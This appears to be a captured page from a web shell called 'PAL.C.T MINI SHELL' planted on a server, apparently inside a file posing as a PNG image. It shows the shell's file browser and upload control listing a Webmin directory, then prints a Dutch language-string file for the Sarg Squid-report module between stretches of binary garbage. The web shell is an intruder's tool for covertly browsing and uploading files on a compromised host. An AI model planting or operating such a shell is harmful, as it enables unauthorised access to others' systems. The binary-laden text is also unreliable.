php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/sarg/lang/
upload
files >> //usr/libexec/webmin/sarg/lang/nl

index_title=Squid Rapport Generator
index_econf=De Sarg configuratie file $1 is niet gevonden op uw systeem. Misschien is het niet geinstalleerd, of de <a href='$2'>module configuratie</a> is niet correct.
index_ecmd=Het Sarg programma $1 is niet gevonden op uw systeem. Misschien is het niet geinstalleerd, of de <a href='$2'>module configuratie</a> is niet correct.
index_eversion=Mislukt de versie van Sarg op te vragen met de opdracht $1 : $2
index_version=Sarg versie $1
index_generate=Nu Rapport Genereren
index_generatedesc=Klik op deze knop om onmiddelijk een Sarg rapport te genereren in $1 met gebruik van de huidige configuratie.
index_clear=Verwijder bestaande rapport in directory?
index_range=Genereer rapport voor datum reeks
index_view=Bekijk Gegenereerd Rapport
index_viewdesc=Bekijk meest recente gegenereerde rapport in de directory $1.
index_return=module index

log_title=Log Source en Rapport Bestemming
log_header=Source Squid log file en gegenereerde rapport opties
log_access_log=Source Squid log file
log_squid=Huidige Squid server log ($1)
log_other=Andere file
log_output_dir=Bestemmings rapport directory
log_output_email=Rapporteer email naar
log_nowhere=Nergens
log_useragent_log=Gebruikers agent log file
log_lastlog=Aantal rapporten om te bewaren
log_unlimit=Ongelimiteerd
log_mail_utility=Email verzend opdracht
log_remove_temp_files=Verwijder tijdelijke files na rapportage?
log_err=Mislukt om log bron opties op te slaan
log_efile=File bestaat niet
log_edir=Directory bestaat niet
log_elastlog=Ontbrekend of is geen getal
log_eemail=Ontbrekende of ongeldig lijkend email adres
log_emailx=Ontbrekend of niet bestaand email programma
log_squidguard_log_path=SquidGuard log file

style_title=Rapport stijl
style_header=HTML rapport stijl en kleur opties
style_title2=Rapport titel
style_font_face=Rapport body letter
style_header_color=Koptekst kleur
style_header_bgcolor=Koptekst achtergrond kleur
style_header_font_size=Koptekst letter grote
style_background_color=Achtergrond kleur
style_text_color=Tekst kleur
style_text_bgcolor=Tekst achtergrond kleur
style_title_color=Titel kleur
style_logo_image=Referentie voor het logo plaatje
style_image_size=Grote van plaatje (breedte en hoogte)
style_logo_text=Tekst voor logo
style_logo_text_color=Tekst kleur voor logo
style_background_image=Referecntie van plaatje voor achtergrond
style_err=Mislukt om rapport stijl opties op te slaan
style_etitle=Ontbrekende rapport titel
style_ecolour=Ontbrekende of ongeldige kleur naam of RRGGBB code
style_efontsize=Ontbrekende of ongeldige letter grote
style_efont=Ontbrekende of ongeldige letter type
style_esize=Ontbrekende of ongeldig hoogte en breedte van plaatje
style_language=Rapport taal
style_charset=Rapport karakterset

report_title=Rapport Opties
report_header=Rapporteer inhoud en gegenereerde opties
report_resolve_ip=Ophalen IP adressen?
report_user_ip=Gebruik IP adres in plaats van gebruikers IDs?
report_user_sort_field=Volgorde voor gebruikers rapport
report_topuser_sort_field=Volgorde voor top gebruikers rapport
report_reverse=In omgekeerde volgorde
report_forward=In doorstuur volgorde
report_by_user=Met gebruikersnaam
report_by_connect=Met verbonden tijd
report_by_bytes=Met bytes
report_by_time=Met tijd
report_by_site=Met site
report_exclude_users=File met de gebruikers lijst om uit te sluiten
report_exclude_hosts=File met de hosts lijst om uit te sluiten
report_index=Her-Genereer <tt>index.html</tt> file?
report_only=Genereer alleen <tt>index.html</tt>
report_overwrite_report=Rapport overschrijven voor datum?
report_overno=Nee, hernoem met .1
report_records_without_userid=Actie voor records zonder gebruiker?
report_ignore=Totaal negeren
report_ip=Gebruik  in de plaats daarvan het IP adres
report_everybody=Gebruik gebruikersnaam <tt>iedereen</tt>
report_use_comma=Gebruik de komma in plaats van . in nummers?
report_topsites_num=Aantal top sites om te laten zien
report_topsites_sort_order=Volgorde voor top sites rapport
report_sorta=Oplopend
report_sortd=Aflopend
report_index_sort_order=Volgorde voor links in <tt>index.html</tt>
report_exclude_codes=File met de HTTP codes lijst om uit te sluiten
report_max_elapsed=Maximum verstreken tijd (ms)
report_report_type=Rapport secties om te genereren
report_topsites=Top sites
report_sites_users=Sites per gebruiker
report_users_sites=Gebruikers per site
report_date_time=Gebruik in dag en uur
report_denied=Negeer sites
report_auth_failures=Identificatie fouten
report_site_user_time_date=Sites, datums, tijden en bytes
report_all=Alle rapporten
report_below=Selecteer hieronder ..
report_usertab=Gebruikersnaam mapping file
report_long_url=Laat volledige URLs zien in rapport?
report_date_time_by=Sorteer datum/tijd rapport met
report_bytes=Bytes
report_elap=Verstreken tijd
report_user_invalid_char=Ongeldige karakters in gebruikersnaam
report_privacy=Verstop bezochte sites?
report_privacy_string=Vervangende tekst voor bezochte sites
report_privacy_string_color=Kleur voor vervangende tekst
report_below2=Hieronder ingevuld ..
report_include_users=Genereer alleen rapport voor gebruikers
report_exclude_string=Uitsluiten van log regels die hetvolgende bevatten
report_allusers=Alle gebruikers
report_nostrings=Sluit niets uit
report_topuser_num=Aantal top gebruikers om te laten zien
report_site_user_time_date_type=Site, gebruikers, datum en tijden tabel formaat
report_table=HTML tabel
report_list=Tekst lijst
report_displayed_values=Laat verkeer zien als
report_bytes2=Bytes
report_abbrev=Afgekort (K, M, G)
report_weekdays=Dagen om in rapport te voegen
report_weekdays0=Zo
report_weekdays1=Ma
report_weekdays2=Di
report_weekdays3=Wo
report_weekdays4=Do
report_weekdays5=Vr
report_weekdays6=Za
report_hours=Uren toevoegen aan het rapport
report_err=Mislukt om rapport opties op te slaan
report_efile=File bestaat niet
report_enum=Niet een getal
report_echar=Spaties zijn niet toegestaan
report_estring=Ontbrekende of ongeldige vervangende tekst
report_eselect=Niets geselecteerd
report_eenter=Niets ingevuld

sched_title=Gepland Gegenereerd Rapport
sched_header=Geplande rapportage opties
sched_sched=Geplande rapportage aangezet?
sched_yes=Ja, op de geselecteerde tijden hieronder ..
sched_clear=Wis iedere keer de rapport directory?
sched_dir=Rapport directory
sched_edir=Er is geen bestemmings rapport directorie gedefinieerd op de <a href='$1'>Log Bron en Rapport Bestemming</a> pagina. Dit moet gedaan worden voordat de geplande rapportage kan worden aangezet.
sched_esfile=Er is geen Squid log file gedefinieerd op de <a href='$1'>Log Bron en RapportBestemming</a> pagina. Dit moet gedaan worden voordat de geplande rapportage kan worden aangezet.
sched_range=Genereer rapport voor datum range
sched_rall=Alle records in log file
sched_rsel=Die van $1 naar $2 dagen geleden
sched_err=Mislukt om geplande gegenereerde rapport op te slaan
sched_erfrom=Ontbrekende of ongeldige start getal van de afgelopen dagen
sched_erto=Ontbrekende of ongeldige eind getal van de afgelopen dagen

view_title=Sarg Rapport
view_efile=Ongeldige filenaam!
view_eopen=Mislukt om rapport file te openen

gen_title=Genereerd Rapport
gen_header=Nu een Sarg rapport genereren van de Squid log file $1 en alle geroteerde versies ..
gen_done=.. klaar
gen_failed=.. Sarg mislukt! Bekijk het resultaat hierboven waarom.
gen_nothing=.. Sarg klaar, maar er is geen rapport gegenereerd. Bekijk het resultaat hierboven waarom.
gen_view=Bekijk het complete rapport
gen_err=Mislukt om rapport te genereren
gen_efrom=Ontbrekende of ongeldige vanaf dag
gen_eto=Ontbrekende of ongeldige naar dag

webmin_log_log=Ge-update log bron en rapport bestemming opties
webmin_log_report=Ge-update rapport opties
webmin_log_style=Ge-update rapport stijl opties
webmin_log_sched_create=Geplande rapportage aangezet
webmin_log_sched_delete=Geplande rapportage uitgezet
webmin_log_sched_update=Ge-update geplande rapportage
webmin_log_sched_nothing=Laat geplande rapportage uitstaan
webmin_log_generate=Gegenereerd rapport
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`